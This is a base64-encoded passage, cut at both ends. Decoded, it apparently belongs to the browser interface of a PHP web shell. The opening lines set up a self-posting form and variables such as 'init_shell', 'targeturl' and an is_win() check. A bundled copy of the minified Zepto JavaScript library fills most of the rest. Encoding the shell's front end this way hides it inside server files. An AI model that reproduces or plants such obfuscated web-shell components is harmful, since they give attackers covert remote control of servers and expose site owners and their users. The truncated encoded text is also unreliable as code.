aW5nIiBvbmRibGNsaWNrPSdsb2FkaW5nX3N0b3AoKTsnPjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPgo8Zm9ybSBhY3Rpb249Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nIG1ldGhvZD0ncG9zdCcgaWQ9J2Zvcm0nIHRhcmdldD0nX2JsYW5rJz48L2Zvcm0+CjwhLS1zY3JpcHQgc3RhcnQtLT4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgdGFyZ2V0dXJsID0gJzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nOwp2YXIgbSA9ICc8P3BocCBlY2hvIGltcGxvZGUoIiwiLCAkR0xPQkFMU1snbSddKTs/Pic7CnZhciB3aW4gPSA8P3BocCBlY2hvIChpc193aW4oKSk/J3RydWUnOidmYWxzZSc7Pz47CnZhciBpbml0X3NoZWxsID0gdHJ1ZTsKLyogWmVwdG8gdjEuMS4yIC0gemVwdG8gZXZlbnQgYWpheCBmb3JtIGllIC0gemVwdG9qcy5jb20vbGljZW5zZSAqLwp2YXIgWmVwdG89ZnVuY3Rpb24oKXtmdW5jdGlvbiBHKGEpe3JldHVybiBhPT1udWxsP1N0cmluZyhhKTp6W0EuY2FsbChhKV18fCJvYmplY3QifWZ1bmN0aW9uIEgoYSl7cmV0dXJuIEcoYSk9PSJmdW5jdGlvbiJ9ZnVuY3Rpb24gSShhKXtyZXR1cm4gYSE9bnVsbCYmYT09YS53aW5kb3d9ZnVuY3Rpb24gSihhKXtyZXR1cm4gYSE9bnVsbCYmYS5ub2RlVHlwZT09YS5ET0NVTUVOVF9OT0RFfWZ1bmN0aW9uIEsoYSl7cmV0dXJuIEcoYSk9PSJvYmplY3QifWZ1bmN0aW9uIEwoYSl7cmV0dXJuIEsoYSkmJiFJKGEpJiZPYmplY3QuZ2V0UHJvdG90eXBlT2YoYSk9PU9iamVjdC5wcm90b3R5cGV9ZnVuY3Rpb24gTShhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEFycmF5fWZ1bmN0aW9uIE4oYSl7cmV0dXJuIHR5cGVvZiBhLmxlbmd0aD09Im51bWJlciJ9ZnVuY3Rpb24gTyhhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYSl7cmV0dXJuIGEhPW51bGx9KX1mdW5jdGlvbiBQKGEpe3JldHVybiBhLmxlbmd0aD4wP2MuZm4uY29uY2F0LmFwcGx5KFtdLGEpOmF9ZnVuY3Rpb24gUShhKXtyZXR1cm4gYS5yZXBsYWNlKC86Oi9nLCIvIikucmVwbGFjZSgvKFtBLVpdKykoW0EtWl1bYS16XSkvZywiJDFfJDIiKS5yZXBsYWNlKC8oW2EtelxkXSkoW0EtWl0pL2csIiQxXyQyIikucmVwbGFjZSgvXy9nLCItIikudG9Mb3dlckNhc2UoKX1mdW5jdGlvbiBSKGEpe3JldHVybiBhIGluIGo/althXTpqW2FdPW5ldyBSZWdFeHAoIihefFxccykiK2ErIihcXHN8JCkiKX1mdW5jdGlvbiBTKGEsYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIiYmIWtbUShhKV0/YisicHgiOmJ9ZnVuY3Rpb24gVChhKXt2YXIgYixjO3JldHVybiBpW2FdfHwoYj1oLmNyZWF0ZUVsZW1lbnQoYSksaC5ib2R5LmFwcGVuZENoaWxkKGIpLGM9Z2V0Q29tcHV0ZWRTdHlsZShiLCIiKS5nZXRQcm9wZXJ0eVZhbHVlKCJkaXNwbGF5IiksYi5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKGIpLGM9PSJub25lIiYmKGM9ImJsb2NrIiksaVthXT1jKSxpW2FdfWZ1bmN0aW9uIFUoYSl7cmV0dXJuImNoaWxkcmVuImluIGE/Zi5jYWxsKGEuY2hpbGRyZW4pOmMubWFwKGEuY2hpbGROb2RlcyxmdW5jdGlvbihhKXtpZihhLm5vZGVUeXBlPT0xKXJldHVybiBhfSl9ZnVuY3Rpb24gVihjLGQsZSl7Zm9yKGIgaW4gZCllJiYoTChkW2JdKXx8TShkW2JdKSk/KEwoZFtiXSkmJiFMKGNbYl0pJiYoY1tiXT17fSksTShkW2JdKSYmIU0oY1tiXSkmJihjW2JdPVtdKSxWKGNbYl0sZFtiXSxlKSk6ZFtiXSE9PWEmJihjW2JdPWRbYl0pfWZ1bmN0aW9uIFcoYSxiKXtyZXR1cm4gYj09bnVsbD9jKGEpOmMoYSkuZmlsdGVyKGIpfWZ1bmN0aW9uIFgoYSxiLGMsZCl7cmV0dXJuIEgoYik/Yi5jYWxsKGEsYyxkKTpifWZ1bmN0aW9uIFkoYSxiLGMpe2M9PW51bGw/YS5yZW1vdmVBdHRyaWJ1dGUoYik6YS5zZXRBdHRyaWJ1dGUoYixjKX1mdW5jdGlvbiBaKGIsYyl7dmFyIGQ9Yi5jbGFzc05hbWUsZT1kJiZkLmJhc2VWYWwhPT1hO2lmKGM9PT1hKXJldHVybiBlP2QuYmFzZVZhbDpkO2U/ZC5iYXNlVmFsPWM6Yi5jbGFzc05hbWU9Y31mdW5jdGlvbiAkKGEpe3ZhciBiO3RyeXtyZXR1cm4gYT9hPT0idHJ1ZSJ8fChhPT0iZmFsc2UiPyExOmE9PSJudWxsIj9udWxsOiEvXjAvLnRlc3QoYSkmJiFpc05hTihiPU51bWJlcihhKSk/YjovXltcW1x7XS8udGVzdChhKT9jLnBhcnNlSlNPTihhKTphKTphfWNhdGNoKGQpe3JldHVybiBhfX1mdW5jdGlvbiBfKGEsYil7YihhKTtmb3IodmFyIGMgaW4gYS5jaGlsZE5vZGVzKV8oYS5jaGlsZE5vZGVzW2NdLGIpfXZhciBhLGIsYyxkLGU9W10sZj1lLnNsaWNlLGc9ZS5maWx0ZXIsaD13aW5kb3cuZG9jdW1lbnQsaT17fSxqPXt9LGs9eyJjb2x1bW4tY291bnQiOjEsY29sdW1uczoxLCJmb250LXdlaWdodCI6MSwibGluZS1oZWlnaHQiOjEsb3BhY2l0eToxLCJ6LWluZGV4IjoxLHpvb206MX0sbD0vXlxzKjwoXHcrfCEpW14+XSo+LyxtPS9ePChcdyspXHMqXC8/Pig/OjxcL1wxPnwpJC8sbj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2lnLG89L14oPzpib2R5fGh0bWwpJC9pLHA9LyhbQS1aXSkvZyxxPVsidmFsIiwiY3NzIiwiaHRtbCIsInRleHQiLCJkYXRhIiwid2lkdGgiLCJoZWlnaHQiLCJvZmZzZXQiXSxyPVsiYWZ0ZXIiLCJwcmVwZW5kIiwiYmVmb3JlIiwiYXBwZW5kIl0scz1oLmNyZWF0ZUVsZW1lbnQoInRhYmxlIiksdD1oLmNyZWF0ZUVsZW1lbnQoInRyIiksdT17dHI6aC5jcmVhdGVFbGVtZW50KCJ0Ym9keSIpLHRib2R5OnMsdGhlYWQ6cyx0Zm9vdDpzLHRkOnQsdGg6dCwiKiI6aC5jcmVhdGVFbGVtZW50KCJkaXYiKX0sdj0vY29tcGxldGV8bG9hZGVkfGludGVyYWN0aXZlLyx3PS9eXC4oW1x3LV0rKSQvLHg9L14jKFtcdy1dKikkLyx5PS9eW1x3LV0qJC8sej17fSxBPXoudG9TdHJpbmcsQj17fSxDLEQsRT1oLmNyZWF0ZUVsZW1lbnQoImRpdiIpLEY9e3RhYmluZGV4OiJ0YWJJbmRleCIscmVhZG9ubHk6InJlYWRPbmx5IiwiZm9yIjoiaHRtbEZvciIsImNsYXNzIjoiY2xhc3NOYW1lIixtYXhsZW5ndGg6Im1heExlbmd0aCIsY2VsbHNwYWNpbmc6ImNlbGxTcGFjaW5nIixjZWxscGFkZGluZzoiY2VsbFBhZGRpbmciLHJvd3NwYW46InJvd1NwYW4iLGNvbHNwYW46ImNvbFNwYW4iLHVzZW1hcDoidXNlTWFwIixmcmFtZWJvcmRlcjoiZnJhbWVCb3JkZXIiLGNvbnRlbnRlZGl0YWJsZToiY29udGVudEVkaXRhYmxlIn07cmV0dXJuIEIubWF0Y2hlcz1mdW5jdGlvbihhLGIpe2lmKCFifHwhYXx8YS5ub2RlVHlwZSE9PTEpcmV0dXJuITE7dmFyIGM9YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubWF0Y2hlc1NlbGVjdG9yO2lmKGMpcmV0dXJuIGMuY2FsbChhLGIpO3ZhciBkLGU9YS5wYXJlbnROb2RlLGY9IWU7cmV0dXJuIGYmJihlPUUpLmFwcGVuZENoaWxkKGEpLGQ9fkIucXNhKGUsYikuaW5kZXhPZihhKSxmJiZFLnJlbW92ZUNoaWxkKGEpLGR9LEM9ZnVuY3Rpb24oYSl7cmV0dXJuIGEucmVwbGFjZSgvLSsoLik/L2csZnVuY3Rpb24oYSxiKXtyZXR1cm4gYj9iLnRvVXBwZXJDYXNlKCk6IiJ9KX0sRD1mdW5jdGlvbihhKXtyZXR1cm4gZy5jYWxsKGEsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5pbmRleE9mKGIpPT1jfSl9LEIuZnJhZ21lbnQ9ZnVuY3Rpb24oYixkLGUpe3ZhciBnLGksajtyZXR1cm4gbS50ZXN0KGIpJiYoZz1jKGguY3JlYXRlRWxlbWVudChSZWdFeHAuJDEpKSksZ3x8KGIucmVwbGFjZSYmKGI9Yi5yZXBsYWNlKG4sIjwkMT48LyQyPiIpKSxkPT09YSYmKGQ9bC50ZXN0KGIpJiZSZWdFeHAuJDEpLGQgaW4gdXx8KGQ9IioiKSxqPXVbZF0sai5pbm5lckhUTUw9IiIrYixnPWMuZWFjaChmLmNhbGwoai5jaGlsZE5vZGVzKSxmdW5jdGlvbigpe2oucmVtb3ZlQ2hpbGQodGhpcyl9KSksTChlKSYmKGk9YyhnKSxjLmVhY2goZSxmdW5jdGlvbihhLGIpe3EuaW5kZXhPZihhKT4tMT9pW2FdKGIpOmkuYXR0cihhLGIpfSkpLGd9LEIuWj1mdW5jdGlvbihhLGIpe3JldHVybiBhPWF8fFtdLGEuX19wcm90b19fPWMuZm4sYS5zZWxlY3Rvcj1ifHwiIixhfSxCLmlzWj1mdW5jdGlvbihhKXtyZXR1cm4gYSBpbnN0YW5jZW9mIEIuWn0sQi5pbml0PWZ1bmN0aW9uKGIsZCl7dmFyIGU7aWYoIWIpcmV0dXJuIEIuWigpO2lmKHR5cGVvZiBiPT0ic3RyaW5nIil7Yj1iLnRyaW0oKTtpZihiWzBdPT0iPCImJmwudGVzdChiKSllPUIuZnJhZ21lbnQoYixSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fWVsc2V7aWYoSChiKSlyZXR1cm4gYyhoKS5yZWFkeShiKTtpZihCLmlzWihiKSlyZXR1cm4gYjtpZihNKGIpKWU9TyhiKTtlbHNlIGlmKEsoYikpZT1bYl0sYj1udWxsO2Vsc2UgaWYobC50ZXN0KGIpKWU9Qi5mcmFnbWVudChiLnRyaW0oKSxSZWdFeHAuJDEsZCksYj1udWxsO2Vsc2V7aWYoZCE9PWEpcmV0dXJuIGMoZCkuZmluZChiKTtlPUIucXNhKGgsYil9fXJldHVybiBCLlooZSxiKX0sYz1mdW5jdGlvbihhLGIpe3JldHVybiBCLmluaXQoYSxiKX0sYy5leHRlbmQ9ZnVuY3Rpb24oYSl7dmFyIGIsYz1mLmNhbGwoYXJndW1lbnRzLDEpO3JldHVybiB0eXBlb2YgYT09ImJvb2xlYW4iJiYoYj1hLGE9Yy5zaGlmdCgpKSxjLmZvckVhY2goZnVuY3Rpb24oYyl7VihhLGMsYil9KSxhfSxCLnFzYT1mdW5jdGlvbihhLGIpe3ZhciBjLGQ9YlswXT09IiMiLGU9IWQmJmJbMF09PSIuIixnPWR8fGU/Yi5zbGljZSgxKTpiLGg9eS50ZXN0KGcpO3JldHVybiBKKGEpJiZoJiZkPyhjPWEuZ2V0RWxlbWVudEJ5SWQoZykpP1tjXTpbXTphLm5vZGVUeXBlIT09MSYmYS5ub2RlVHlwZSE9PTk/W106Zi5jYWxsKGgmJiFkP2U/YS5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKGcpOmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoYik6YS5xdWVyeVNlbGVjdG9yQWxsKGIpKX0sYy5jb250YWlucz1mdW5jdGlvbihhLGIpe3JldHVybiBhIT09YiYmYS5jb250YWlucyhiKX0sYy50eXBlPUcsYy5pc0Z1bmN0aW9uPUgsYy5pc1dpbmRvdz1JLGMuaXNBcnJheT1NLGMuaXNQbGFpbk9iamVjdD1MLGMuaXNFbXB0eU9iamVjdD1mdW5jdGlvbihhKXt2YXIgYjtmb3IoYiBpbiBhKXJldHVybiExO3JldHVybiEwfSxjLmluQXJyYXk9ZnVuY3Rpb24oYSxiLGMpe3JldHVybiBlLmluZGV4T2YuY2FsbChiLGEsYyl9LGMuY2FtZWxDYXNlPUMsYy50cmltPWZ1bmN0aW9uKGEpe3JldHVybiBhPT1udWxsPyIiOlN0cmluZy5wcm90b3R5cGUudHJpbS5jYWxsKGEpfSxjLnV1aWQ9MCxjLnN1cHBvcnQ9e30sYy5leHByPXt9LGMubWFwPWZ1bmN0aW9uKGEsYil7dmFyIGMsZD1bXSxlLGY7aWYoTihhKSlmb3IoZT0wO2U8YS5sZW5ndGg7ZSsrKWM9YihhW2VdLGUpLGMhPW51bGwmJmQucHVzaChjKTtlbHNlIGZvcihmIGluIGEpYz1iKGFbZl0sZiksYyE9bnVsbCYmZC5wdXNoKGMpO3JldHVybiBQKGQpfSxjLmVhY2g9ZnVuY3Rpb24oYSxiKXt2YXIgYyxkO2lmKE4oYSkpe2ZvcihjPTA7YzxhLmxlbmd0aDtjKyspaWYoYi5jYWxsKGFbY10sYyxhW2NdKT09PSExKXJldHVybiBhfWVsc2UgZm9yKGQgaW4gYSlpZihiLmNhbGwoYVtkXSxkLGFbZF0pPT09ITEpcmV0dXJuIGE7cmV0dXJuIGF9LGMuZ3JlcD1mdW5jdGlvbihhLGIpe3JldHVybiBnLmNhbGwoYSxiKX0sd2luZG93LkpTT04mJihjLnBhcnNlSlNPTj1KU09OLnBhcnNlKSxjLmVhY2goIkJvb2xlYW4gTnVtYmVyIFN0cmluZyBGdW5jdGlvbiBBcnJheSBEYXRlIFJlZ0V4cCBPYmplY3QgRXJyb3IiLnNwbGl0KCIgIiksZnVuY3Rpb24oYSxiKXt6WyJbb2JqZWN0ICIrYisiXSJdPWIudG9Mb3dlckNhc2UoKX0pLGMuZm49e2ZvckVhY2g6ZS5mb3JFYWNoLHJlZHVjZTplLnJlZHVjZSxwdXNoOmUucHVzaCxzb3J0OmUuc29ydCxpbmRleE9mOmUuaW5kZXhPZixjb25jYXQ6ZS5jb25jYXQsbWFwOmZ1bmN0aW9uKGEpe3JldHVybiBjKGMubWFwKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKX0pKX0sc2xpY2U6ZnVuY3Rpb24oKXtyZXR1cm4gYyhmLmFwcGx5KHRoaXMsYXJndW1lbnRzKSl9LHJlYWR5OmZ1bmN0aW9uKGEpe3JldHVybiB2LnRlc3QoaC5yZWFkeVN0YXRlKSYmaC5ib2R5P2EoYyk6aC5hZGRFdmVudExpc3RlbmVyKCJET01Db250ZW50TG9hZGVkIixmdW5jdGlvbigpe2EoYyl9LCExKSx0aGlzfSxnZXQ6ZnVuY3Rpb24oYil7cmV0dXJuIGI9PT1hP2YuY2FsbCh0aGlzKTp0aGlzW2I+PTA/YjpiK3RoaXMubGVuZ3RoXX0sdG9BcnJheTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmdldCgpfSxzaXplOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMubGVuZ3RofSxyZW1vdmU6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5wYXJlbnROb2RlIT1udWxsJiZ0aGlzLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodGhpcyl9KX0sZWFjaDpmdW5jdGlvbihhKXtyZXR1cm4gZS5ldmVyeS5jYWxsKHRoaXMsZnVuY3Rpb24oYixjKXtyZXR1cm4gYS5jYWxsKGIsYyxiKSE9PSExfSksdGhpc30sZmlsdGVyOmZ1bmN0aW9uKGEpe3JldHVybiBIKGEpP3RoaXMubm90KHRoaXMubm90KGEpKTpjKGcuY2FsbCh0aGlzLGZ1bmN0aW9uKGIpe3JldHVybiBCLm1hdGNoZXMoYixhKX0pKX0sYWRkOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGMoRCh0aGlzLmNvbmNhdChjKGEsYikpKSl9LGlzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmxlbmd0aD4wJiZCLm1hdGNoZXModGhpc1swXSxhKX0sbm90OmZ1bmN0aW9uKGIpe3ZhciBkPVtdO2lmKEgoYikmJmIuY2FsbCE9PWEpdGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2IuY2FsbCh0aGlzLGEpfHxkLnB1c2godGhpcyl9KTtlbHNle3ZhciBlPXR5cGVvZiBiPT0ic3RyaW5nIj90aGlzLmZpbHRlcihiKTpOKGIpJiZIKGIuaXRlbSk/Zi5jYWxsKGIpOmMoYik7dGhpcy5mb3JFYWNoKGZ1bmN0aW9uKGEpe2UuaW5kZXhPZihhKTwwJiZkLnB1c2goYSl9KX1yZXR1cm4gYyhkKX0saGFzOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbigpe3JldHVybiBLKGEpP2MuY29udGFpbnModGhpcyxhKTpjKHRoaXMpLmZpbmQoYSkuc2l6ZSgpfSl9LGVxOmZ1bmN0aW9uKGEpe3JldHVybiBhPT09LTE/dGhpcy5zbGljZShhKTp0aGlzLnNsaWNlKGEsK2ErMSl9LGZpcnN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1swXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxsYXN0OmZ1bmN0aW9uKCl7dmFyIGE9dGhpc1t0aGlzLmxlbmd0aC0xXTtyZXR1cm4gYSYmIUsoYSk/YTpjKGEpfSxmaW5kOmZ1bmN0aW9uKGEpe3ZhciBiLGQ9dGhpcztyZXR1cm4gdHlwZW9mIGE9PSJvYmplY3QiP2I9YyhhKS5maWx0ZXIoZnVuY3Rpb24oKXt2YXIgYT10aGlzO3JldHVybiBlLnNvbWUuY2FsbChkLGZ1bmN0aW9uKGIpe3JldHVybiBjLmNvbnRhaW5zKGIsYSl9KX0pOnRoaXMubGVuZ3RoPT0xP2I9YyhCLnFzYSh0aGlzWzBdLGEpKTpiPXRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIEIucXNhKHRoaXMsYSl9KSxifSxjbG9zZXN0OmZ1bmN0aW9uKGEsYil7dmFyIGQ9dGhpc1swXSxlPSExO3R5cGVvZiBhPT0ib2JqZWN0IiYmKGU9YyhhKSk7d2hpbGUoZCYmIShlP2UuaW5kZXhPZihkKT49MDpCLm1hdGNoZXMoZCxhKSkpZD1kIT09YiYmIUooZCkmJmQucGFyZW50Tm9kZTtyZXR1cm4gYyhkKX0scGFyZW50czpmdW5jdGlvbihhKXt2YXIgYj1bXSxkPXRoaXM7d2hpbGUoZC5sZW5ndGg+MClkPWMubWFwKGQsZnVuY3Rpb24oYSl7aWYoKGE9YS5wYXJlbnROb2RlKSYmIUooYSkmJmIuaW5kZXhPZihhKTwwKXJldHVybiBiLnB1c2goYSksYX0pO3JldHVybiBXKGIsYSl9LHBhcmVudDpmdW5jdGlvbihhKXtyZXR1cm4gVyhEKHRoaXMucGx1Y2soInBhcmVudE5vZGUiKSksYSl9LGNoaWxkcmVuOmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIFUodGhpcyl9KSxhKX0sY29udGVudHM6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5tYXAoZnVuY3Rpb24oKXtyZXR1cm4gZi5jYWxsKHRoaXMuY2hpbGROb2Rlcyl9KX0sc2libGluZ3M6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcy5tYXAoZnVuY3Rpb24oYSxiKXtyZXR1cm4gZy5jYWxsKFUoYi5wYXJlbnROb2RlKSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9PWJ9KX0pLGEpfSxlbXB0eTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt0aGlzLmlubmVySFRNTD0iIn0pfSxwbHVjazpmdW5jdGlvbihhKXtyZXR1cm4gYy5tYXAodGhpcyxmdW5jdGlvbihiKXtyZXR1cm4gYlthXX0pfSxzaG93OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuZGlzcGxheT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PSIiKSxnZXRDb21wdXRlZFN0eWxlKHRoaXMsIiIpLmdldFByb3BlcnR5VmFsdWUoImRpc3BsYXkiKT09Im5vbmUiJiYodGhpcy5zdHlsZS5kaXNwbGF5PVQodGhpcy5ub2RlTmFtZSkpfSl9LHJlcGxhY2VXaXRoOmZ1bmN0aW9uKGEpe3JldHVybiB0aGlzLmJlZm9yZShhKS5yZW1vdmUoKX0sd3JhcDpmdW5jdGlvbihhKXt2YXIgYj1IKGEpO2lmKHRoaXNbMF0mJiFiKXZhciBkPWMoYSkuZ2V0KDApLGU9ZC5wYXJlbnROb2RlfHx0aGlzLmxlbmd0aD4xO3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oZil7Yyh0aGlzKS53cmFwQWxsKGI/YS5jYWxsKHRoaXMsZik6ZT9kLmNsb25lTm9kZSghMCk6ZCl9KX0sd3JhcEFsbDpmdW5jdGlvbihhKXtpZih0aGlzWzBdKXtjKHRoaXNbMF0pLmJlZm9yZShhPWMoYSkpO3ZhciBiO3doaWxlKChiPWEuY2hpbGRyZW4oKSkubGVuZ3RoKWE9Yi5maXJzdCgpO2MoYSkuYXBwZW5kKHRoaXMpfXJldHVybiB0aGlzfSx3cmFwSW5uZXI6ZnVuY3Rpb24oYSl7dmFyIGI9SChhKTtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKGQpe3ZhciBlPWModGhpcyksZj1lLmNvbnRlbnRzKCksZz1iP2EuY2FsbCh0aGlzLGQpOmE7Zi5sZW5ndGg/Zi53cmFwQWxsKGcpOmUuYXBwZW5kKGcpfSl9LHVud3JhcDpmdW5jdGlvbigpe3JldHVybiB0aGlzLnBhcmVudCgpLmVhY2goZnVuY3Rpb24oKXtjKHRoaXMpLnJlcGxhY2VXaXRoKGModGhpcykuY2hpbGRyZW4oKSl9KSx0aGlzfSxjbG9uZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLm1hcChmdW5jdGlvbigpe3JldHVybiB0aGlzLmNsb25lTm9kZSghMCl9KX0saGlkZTpmdW5jdGlvbigpe3JldHVybiB0aGlzLmNzcygiZGlzcGxheSIsIm5vbmUiKX0sdG9nZ2xlOmZ1bmN0aW9uKGIpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXt2YXIgZD1jKHRoaXMpOyhiPT09YT9kLmNzcygiZGlzcGxheSIpPT0ibm9uZSI6Yik/ZC5zaG93KCk6ZC5oaWRlKCl9KX0scHJldjpmdW5jdGlvbihhKXtyZXR1cm4gYyh0aGlzLnBsdWNrKCJwcmV2aW91c0VsZW1lbnRTaWJsaW5nIikpLmZpbHRlcihhfHwiKiIpfSxuZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBjKHRoaXMucGx1Y2soIm5leHRFbGVtZW50U2libGluZyIpKS5maWx0ZXIoYXx8IioiKX0saHRtbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpcy5sZW5ndGg+MD90aGlzWzBdLmlubmVySFRNTDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD10aGlzLmlubmVySFRNTDtjKHRoaXMpLmVtcHR5KCkuYXBwZW5kKFgodGhpcyxhLGIsZCkpfSl9LHRleHQ6ZnVuY3Rpb24oYil7cmV0dXJuIGFyZ3VtZW50cy5sZW5ndGg9PT0wP3RoaXMubGVuZ3RoPjA/dGhpc1swXS50ZXh0Q29udGVudDpudWxsOnRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMudGV4dENvbnRlbnQ9Yj09PWE/IiI6IiIrYn0pfSxhdHRyOmZ1bmN0aW9uKGMsZCl7dmFyIGU7cmV0dXJuIHR5cGVvZiBjPT0ic3RyaW5nIiYmZD09PWE/dGhpcy5sZW5ndGg9PTB8fHRoaXNbMF0ubm9kZVR5cGUhPT0xP2E6Yz09InZhbHVlIiYmdGhpc1swXS5ub2RlTmFtZT09IklOUFVUIj90aGlzLnZhbCgpOiEoZT10aGlzWzBdLmdldEF0dHJpYnV0ZShjKSkmJmMgaW4gdGhpc1swXT90aGlzWzBdW2NdOmU6dGhpcy5lYWNoKGZ1bmN0aW9uKGEpe2lmKHRoaXMubm9kZVR5cGUhPT0xKXJldHVybjtpZihLKGMpKWZvcihiIGluIGMpWSh0aGlzLGIsY1tiXSk7ZWxzZSBZKHRoaXMsYyxYKHRoaXMsZCxhLHRoaXMuZ2V0QXR0cmlidXRlKGMpKSl9KX0scmVtb3ZlQXR0cjpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5ub2RlVHlwZT09PTEmJlkodGhpcyxhKX0pfSxwcm9wOmZ1bmN0aW9uKGIsYyl7cmV0dXJuIGI9RltiXXx8YixjPT09YT90aGlzWzBdJiZ0aGlzWzBdW2JdOnRoaXMuZWFjaChmdW5jdGlvbihhKXt0aGlzW2JdPVgodGhpcyxjLGEsdGhpc1tiXSl9KX0sZGF0YTpmdW5jdGlvbihiLGMpe3ZhciBkPXRoaXMuYXR0cigiZGF0YS0iK2IucmVwbGFjZShwLCItJDEiKS50b0xvd2VyQ2FzZSgpLGMpO3JldHVybiBkIT09bnVsbD8kKGQpOmF9LHZhbDpmdW5jdGlvbihhKXtyZXR1cm4gYXJndW1lbnRzLmxlbmd0aD09PTA/dGhpc1swXSYmKHRoaXNbMF0ubXVsdGlwbGU/Yyh0aGlzWzBdKS5maW5kKCJvcHRpb24iKS5maWx0ZXIoZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zZWxlY3RlZH0pLnBsdWNrKCJ2YWx1ZSIpOnRoaXNbMF0udmFsdWUpOnRoaXMuZWFjaChmdW5jdGlvbihiKXt0aGlzLnZhbHVlPVgodGhpcyxhLGIsdGhpcy52YWx1ZSl9KX0sb2Zmc2V0OmZ1bmN0aW9uKGEpe2lmKGEpcmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbihiKXt2YXIgZD1jKHRoaXMpLGU9WCh0aGlzLGEsYixkLm9mZnNldCgpKSxmPWQub2Zmc2V0UGFyZW50KCkub2Zmc2V0KCksZz17dG9wOmUudG9wLWYudG9wLGxlZnQ6ZS5sZWZ0LWYubGVmdH07ZC5jc3MoInBvc2l0aW9uIik9PSJzdGF0aWMiJiYoZy5wb3NpdGlvbj0icmVsYXRpdmUiKSxkLmNzcyhnKX0pO2lmKHRoaXMubGVuZ3RoPT0wKXJldHVybiBudWxsO3ZhciBiPXRoaXNbMF0uZ2V0Qm91bmRpbmdDbGllbnRSZWN0KCk7cmV0dXJue2xlZnQ6Yi5sZWZ0K3dpbmRvdy5wYWdlWE9mZnNldCx0b3A6Yi50b3Ard2luZG93LnBhZ2VZT2Zmc2V0LHdpZHRoOk1hdGgucm91bmQoYi53aWR0aCksaGVpZ2h0Ok1hdGgucm91bmQoYi5oZWlnaHQpfX0sY3NzOmZ1bmN0aW9uKGEsZCl7aWYoYXJndW1lbnRzLmxlbmd0aDwyKXt2YXIgZT10aGlzWzBdLGY9Z2V0Q29tcHV0ZWRTdHlsZShlLCIiKTtpZighZSlyZXR1cm47aWYodHlwZW9mIGE9PSJzdHJpbmciKXJldHVybiBlLnN0eWxlW0MoYSldfHxmLmdldFByb3BlcnR5VmFsdWUoYSk7aWYoTShhKSl7dmFyIGc9e307cmV0dXJuIGMuZWFjaChNKGEpP2E6W2FdLGZ1bmN0aW9uKGEsYil7Z1tiXT1lLnN0eWxlW0MoYildfHxmLmdldFByb3BlcnR5VmFsdWUoYil9KSxnfX12YXIgaD0iIjtpZihHKGEpPT0ic3RyaW5nIikhZCYmZCE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGEpKX0pOmg9UShhKSsiOiIrUyhhLGQpO2Vsc2UgZm9yKGIgaW4gYSkhYVtiXSYmYVtiXSE9PTA/dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dGhpcy5zdHlsZS5yZW1vdmVQcm9wZXJ0eShRKGIpKX0pOmgrPVEoYikrIjoiK1MoYixhW2JdKSsiOyI7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3RoaXMuc3R5bGUuY3NzVGV4dCs9IjsiK2h9KX0saW5kZXg6ZnVuY3Rpb24oYSl7cmV0dXJuIGE/dGhpcy5pbmRleE9mKGMoYSlbMF0pOnRoaXMucGFyZW50KCkuY2hpbGRyZW4oKS5pbmRleE9mKHRoa